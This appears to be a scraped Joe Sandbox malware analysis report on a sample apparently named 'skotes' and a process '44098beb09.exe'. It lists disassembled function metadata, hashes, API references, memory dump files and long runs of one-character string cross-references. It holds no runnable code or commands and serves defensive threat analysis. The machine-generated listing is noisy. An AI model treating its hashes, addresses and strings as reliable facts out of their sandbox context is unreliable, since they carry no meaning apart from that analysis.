Opcode Fuzzy Hash: f443fd3520c0c43603c8172c7047e04c8048769994b6a4deee46af10087835ff
Instruction Fuzzy Hash: B921427160820DAFDB38AE659D81F6BB7ADEF40368F104524F92896191E761ED408FA1

Function 00931704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00931764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009317AF

Strings

pContext, xrefs: 009317A7

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 816bf2817203f89ec4c552ba3e8902311f01e555c8d557bcb7a5380ab5c6fcb3
Instruction ID: 06844d9407fdf46d4cbd5a1c2cfd1677c4a87d3a019e3d48d18092b36719c5c2
Opcode Fuzzy Hash: 816bf2817203f89ec4c552ba3e8902311f01e555c8d557bcb7a5380ab5c6fcb3
Instruction Fuzzy Hash: F3110639A002149BCF15EF18C48566D77A9AFC4365F098465EC1397362DB34DD05CFD0

Function 0092B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0092B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0092B961

Strings

pContext, xrefs: 0092B959

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 9c51d68e3d4492b4ea0fb2fe3fef249d9e7ede4beb7988bd99224ba97cbe5c50
Instruction ID: a24084c92e681a8a23b778a6d2369ac09bd1b704492e0a1b1784a0ced3888bec
Opcode Fuzzy Hash: 9c51d68e3d4492b4ea0fb2fe3fef249d9e7ede4beb7988bd99224ba97cbe5c50
Instruction Fuzzy Hash: 6AE0D839B402186BCF04F766E849D9DF7BD9EC4719B048115FA11A3391EB70AA45CBD0

Function 009234CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009234FC

Strings

pScheduler, xrefs: 009234F4
version, xrefs: 009234E1

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: aa7bd16ded4856bc882d0f4b2c9c391860ae65bbbdf67d8626562a4856cdf007
Instruction ID: 6360ea87e4a81f90c1609fd31b367f88d9bcfee8e24c44d4565a3738f1cce1ec
Opcode Fuzzy Hash: aa7bd16ded4856bc882d0f4b2c9c391860ae65bbbdf67d8626562a4856cdf007
Instruction Fuzzy Hash: 6AE08634980208B6CF26FA55E847BDC77789B9474EF04C151FD50110A59BF897CCCB81

Analysis Process: 44098beb09.exePID: 736, Parent PID: 5808COMMON

Execution Graph

Execution Coverage:	12.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	20
Total number of Limit Nodes:	1

Executed Functions

Function 04E644A8 Relevance: 234.6, Strings: 185, Instructions: 3396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Q, xrefs: 04E64B10
P, xrefs: 04E64EEC
., xrefs: 04E65E9C
jnXB, xrefs: 04E64B72
/UA, xrefs: 04E663B6
a, xrefs: 04E67736
, xrefs: 04E64C8C
;X"B, xrefs: 04E67BBE
,, xrefs: 04E66404
D, xrefs: 04E66C53
', xrefs: 04E65EA8
8, xrefs: 04E67A66
P, xrefs: 04E64504
T, xrefs: 04E645EE
F, xrefs: 04E65FD4
J, xrefs: 04E65418
", xrefs: 04E67336
U1nB, xrefs: 04E66C1B
T, xrefs: 04E66843
#, xrefs: 04E64A90
D, xrefs: 04E676A6
), xrefs: 04E67450
), xrefs: 04E6473C
., xrefs: 04E66A69
., xrefs: 04E65214
", xrefs: 04E67B20
J, xrefs: 04E66C6D
2, xrefs: 04E67884
E, xrefs: 04E67504
Q, xrefs: 04E65E0E
a, xrefs: 04E646A8
_, xrefs: 04E6764E
, xrefs: 04E6644A
jnXB, xrefs: 04E65674
H, xrefs: 04E66A03
K, xrefs: 04E6539C
:, xrefs: 04E67C3C
U1nB, xrefs: 04E6492C
K, xrefs: 04E66A29
R, xrefs: 04E66308
H, xrefs: 04E64768
), xrefs: 04E6517A
[, xrefs: 04E6617A
K, xrefs: 04E65318
&, xrefs: 04E666F3
R, xrefs: 04E64B1A
U1nB, xrefs: 04E653C6
K, xrefs: 04E66BF1
,, xrefs: 04E67320
?, xrefs: 04E65D08
%, xrefs: 04E67994
&, xrefs: 04E65B26
(, xrefs: 04E66CAF
z.{B, xrefs: 04E666B1
=, xrefs: 04E66717
F, xrefs: 04E6772A
jnXB, xrefs: 04E66EC9
H, xrefs: 04E651AE
$, xrefs: 04E675D0
Y, xrefs: 04E65F24
Ba3B, xrefs: 04E64539
R, xrefs: 04E64BE6
c, xrefs: 04E675C4
B, xrefs: 04E667ED
ta[B, xrefs: 04E67BEC
ga,A, xrefs: 04E67C06
S, xrefs: 04E65CC2
#, xrefs: 04E66DBF
K, xrefs: 04E65E5C
D, xrefs: 04E66086
), xrefs: 04E669CF
, xrefs: 04E657C2
Q, xrefs: 04E669DB
,, xrefs: 04E66FD1
', xrefs: 04E66A75
R, xrefs: 04E6560C
[, xrefs: 04E66D47
S, xrefs: 04E648DE
=, xrefs: 04E65B4A
?, xrefs: 04E6466A
=, xrefs: 04E6739E
z.{B, xrefs: 04E64ED6
Ba3B, xrefs: 04E66723
-, xrefs: 04E67ADA
K, xrefs: 04E66B6D
S, xrefs: 04E6462E
H, xrefs: 04E65E36
D, xrefs: 04E6495C
P, xrefs: 04E666CB
1, xrefs: 04E6452B
jnXB, xrefs: 04E662FC
, xrefs: 04E67017
K, xrefs: 04E64898
Q, xrefs: 04E65186
#, xrefs: 04E6556A
R, xrefs: 04E656FE
., xrefs: 04E647BE
a, xrefs: 04E6691F
+, xrefs: 04E675EA
T, xrefs: 04E677AC
', xrefs: 04E65220
/UA, xrefs: 04E66F83
F, xrefs: 04E677E2
[, xrefs: 04E64A2A
R, xrefs: 04E66E61
K, xrefs: 04E64908
), xrefs: 04E65E02
S, xrefs: 04E6536A
Q, xrefs: 04E65600
Q, xrefs: 04E66E55
=QB, xrefs: 04E64BF0
,, xrefs: 04E6577C
z.{B, xrefs: 04E65AE4
S, xrefs: 04E67AA4
&, xrefs: 04E6451D
D, xrefs: 04E653FE
=, xrefs: 04E64532
R, xrefs: 04E66ED5
3, xrefs: 04E67A72
", xrefs: 04E67BA4
&, xrefs: 04E64F0E
`, xrefs: 04E675A0
J, xrefs: 04E64972
a, xrefs: 04E65D52
B, xrefs: 04E645B3
6, xrefs: 04E67628
a, xrefs: 04E650E4
/UA, xrefs: 04E6572E
<, xrefs: 04E67522
1, xrefs: 04E65B3E
F, xrefs: 04E648C4
Q, xrefs: 04E66288
=, xrefs: 04E64F2C
9, xrefs: 04E67AB0
[, xrefs: 04E654F2
Ba3B, xrefs: 04E65B56
B, xrefs: 04E64FE0
F, xrefs: 04E66BA1
Ba3B, xrefs: 04E64F36
?, xrefs: 04E668D5
Q, xrefs: 04E64746
?, xrefs: 04E650A6
1, xrefs: 04E64F22
C, xrefs: 04E676B2
R, xrefs: 04E65680
T, xrefs: 04E6502A
=QB, xrefs: 04E6570A
K, xrefs: 04E651D4
K, xrefs: 04E67792
B, xrefs: 04E65C20
#, xrefs: 04E661F2
K, xrefs: 04E64788
Y, xrefs: 04E66AF1
:^B, xrefs: 04E67914
P, xrefs: 04E65AFE
K, xrefs: 04E65FA0
z.{B, xrefs: 04E644F4
=QB, xrefs: 04E66392
R, xrefs: 04E66294
S, xrefs: 04E6688F
J, xrefs: 04E660A0
,, xrefs: 04E64C50
(, xrefs: 04E660E2
K, xrefs: 04E66024
S, xrefs: 04E65FF2
R, xrefs: 04E64B7C
T, xrefs: 04E67A98
U1nB, xrefs: 04E6604E
F, xrefs: 04E6534C
1, xrefs: 04E6670B
S, xrefs: 04E6506A
Y, xrefs: 04E6529C
S, xrefs: 04E66BBF
%, xrefs: 04E67B98
R, xrefs: 04E66386
(, xrefs: 04E649AA
', xrefs: 04E647C8
=, xrefs: 04E6771E
Y, xrefs: 04E64830
(, xrefs: 04E672EE
T, xrefs: 04E65C76
/UA, xrefs: 04E64C0E
=QB, xrefs: 04E66F5F
R, xrefs: 04E66F53
(, xrefs: 04E6545A

Memory Dump Source

Source File: 00000006.00000002.2441214837.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e60000_44098beb09.jbxd

Similarity

API ID:
String ID: $ $ $ $"$"$"$#$#$#$#$$$%$%$&$&$&$&$'$'$'$'$($($($($($)$)$)$)$)$+$,$,$,$,$,$-$.$.$.$.$/UA$/UA$/UA$/UA$1$1$1$1$2$3$6$8$9$:$;X"B$<$=$=$=$=$=$=$=QB$=QB$=QB$=QB$?$?$?$?$B$B$B$B$Ba3B$Ba3B$Ba3B$Ba3B$C$D$D$D$D$D$E$F$F$F$F$F$F$H$H$H$H$J$J$J$J$K$K$K$K$K$K$K$K$K$K$K$K$K$P$P$P$P$Q$Q$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$R$R$R$R$S$S$S$S$S$S$S$S$S$T$T$T$T$T$T$U1nB$U1nB$U1nB$U1nB$Y$Y$Y$Y$[$[$[$[$_$`$a$a$a$a$a$c$ga,A$jnXB$jnXB$jnXB$jnXB$ta[B$z.{B$z.{B$z.{B$z.{B$:^B
API String ID: 0-1587016709
Opcode ID: a8429ab05a1891d36a04ed56216c4f64b46a91eb9c969621e3ad5788bb6ac219
Instruction ID: 785636ff69fef761f49c609d04598f4b3c2e4de09333b59629149402bb7fc2c7
Opcode Fuzzy Hash: a8429ab05a1891d36a04ed56216c4f64b46a91eb9c969621e3ad5788bb6ac219
Instruction Fuzzy Hash: 6E53B0B4D46229CBDB60DF25D944BAAFBB1FB46304F00A1E9D408B3355DB799A85CF08

Function 04E644B8 Relevance: 234.6, Strings: 185, Instructions: 3391
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Q, xrefs: 04E64B10
P, xrefs: 04E64EEC
., xrefs: 04E65E9C
jnXB, xrefs: 04E64B72
/UA, xrefs: 04E663B6
a, xrefs: 04E67736
, xrefs: 04E64C8C
;X"B, xrefs: 04E67BBE
,, xrefs: 04E66404
D, xrefs: 04E66C53
', xrefs: 04E65EA8
8, xrefs: 04E67A66
P, xrefs: 04E64504
T, xrefs: 04E645EE
F, xrefs: 04E65FD4
J, xrefs: 04E65418
", xrefs: 04E67336
U1nB, xrefs: 04E66C1B
T, xrefs: 04E66843
#, xrefs: 04E64A90
D, xrefs: 04E676A6
), xrefs: 04E67450
), xrefs: 04E6473C
., xrefs: 04E66A69
., xrefs: 04E65214
", xrefs: 04E67B20
J, xrefs: 04E66C6D
2, xrefs: 04E67884
E, xrefs: 04E67504
Q, xrefs: 04E65E0E
a, xrefs: 04E646A8
_, xrefs: 04E6764E
, xrefs: 04E6644A
jnXB, xrefs: 04E65674
H, xrefs: 04E66A03
K, xrefs: 04E6539C
:, xrefs: 04E67C3C
U1nB, xrefs: 04E6492C
K, xrefs: 04E66A29
R, xrefs: 04E66308
H, xrefs: 04E64768
), xrefs: 04E6517A
[, xrefs: 04E6617A
K, xrefs: 04E65318
&, xrefs: 04E666F3
R, xrefs: 04E64B1A
U1nB, xrefs: 04E653C6
K, xrefs: 04E66BF1
,, xrefs: 04E67320
?, xrefs: 04E65D08
%, xrefs: 04E67994
&, xrefs: 04E65B26
(, xrefs: 04E66CAF
z.{B, xrefs: 04E666B1
=, xrefs: 04E66717
F, xrefs: 04E6772A
jnXB, xrefs: 04E66EC9
H, xrefs: 04E651AE
$, xrefs: 04E675D0
Y, xrefs: 04E65F24
Ba3B, xrefs: 04E64539
R, xrefs: 04E64BE6
c, xrefs: 04E675C4
B, xrefs: 04E667ED
ta[B, xrefs: 04E67BEC
ga,A, xrefs: 04E67C06
S, xrefs: 04E65CC2
#, xrefs: 04E66DBF
K, xrefs: 04E65E5C
D, xrefs: 04E66086
), xrefs: 04E669CF
, xrefs: 04E657C2
Q, xrefs: 04E669DB
,, xrefs: 04E66FD1
', xrefs: 04E66A75
R, xrefs: 04E6560C
[, xrefs: 04E66D47
S, xrefs: 04E648DE
=, xrefs: 04E65B4A
?, xrefs: 04E6466A
=, xrefs: 04E6739E
z.{B, xrefs: 04E64ED6
Ba3B, xrefs: 04E66723
-, xrefs: 04E67ADA
K, xrefs: 04E66B6D
S, xrefs: 04E6462E
H, xrefs: 04E65E36
D, xrefs: 04E6495C
P, xrefs: 04E666CB
1, xrefs: 04E6452B
jnXB, xrefs: 04E662FC
, xrefs: 04E67017
K, xrefs: 04E64898
Q, xrefs: 04E65186
#, xrefs: 04E6556A
R, xrefs: 04E656FE
., xrefs: 04E647BE
a, xrefs: 04E6691F
+, xrefs: 04E675EA
T, xrefs: 04E677AC
', xrefs: 04E65220
/UA, xrefs: 04E66F83
F, xrefs: 04E677E2
[, xrefs: 04E64A2A
R, xrefs: 04E66E61
K, xrefs: 04E64908
), xrefs: 04E65E02
S, xrefs: 04E6536A
Q, xrefs: 04E65600
Q, xrefs: 04E66E55
=QB, xrefs: 04E64BF0
,, xrefs: 04E6577C
z.{B, xrefs: 04E65AE4
S, xrefs: 04E67AA4
&, xrefs: 04E6451D
D, xrefs: 04E653FE
=, xrefs: 04E64532
R, xrefs: 04E66ED5
3, xrefs: 04E67A72
", xrefs: 04E67BA4
&, xrefs: 04E64F0E
`, xrefs: 04E675A0
J, xrefs: 04E64972
a, xrefs: 04E65D52
B, xrefs: 04E645B3
6, xrefs: 04E67628
a, xrefs: 04E650E4
/UA, xrefs: 04E6572E
<, xrefs: 04E67522
1, xrefs: 04E65B3E
F, xrefs: 04E648C4
Q, xrefs: 04E66288
=, xrefs: 04E64F2C
9, xrefs: 04E67AB0
[, xrefs: 04E654F2
Ba3B, xrefs: 04E65B56
B, xrefs: 04E64FE0
F, xrefs: 04E66BA1
Ba3B, xrefs: 04E64F36
?, xrefs: 04E668D5
Q, xrefs: 04E64746
?, xrefs: 04E650A6
1, xrefs: 04E64F22
C, xrefs: 04E676B2
R, xrefs: 04E65680
T, xrefs: 04E6502A
=QB, xrefs: 04E6570A
K, xrefs: 04E651D4
K, xrefs: 04E67792
B, xrefs: 04E65C20
#, xrefs: 04E661F2
K, xrefs: 04E64788
Y, xrefs: 04E66AF1
:^B, xrefs: 04E67914
P, xrefs: 04E65AFE
K, xrefs: 04E65FA0
z.{B, xrefs: 04E644F4
=QB, xrefs: 04E66392
R, xrefs: 04E66294
S, xrefs: 04E6688F
J, xrefs: 04E660A0
,, xrefs: 04E64C50
(, xrefs: 04E660E2
K, xrefs: 04E66024
S, xrefs: 04E65FF2
R, xrefs: 04E64B7C
T, xrefs: 04E67A98
U1nB, xrefs: 04E6604E
F, xrefs: 04E6534C
1, xrefs: 04E6670B
S, xrefs: 04E6506A
Y, xrefs: 04E6529C
S, xrefs: 04E66BBF
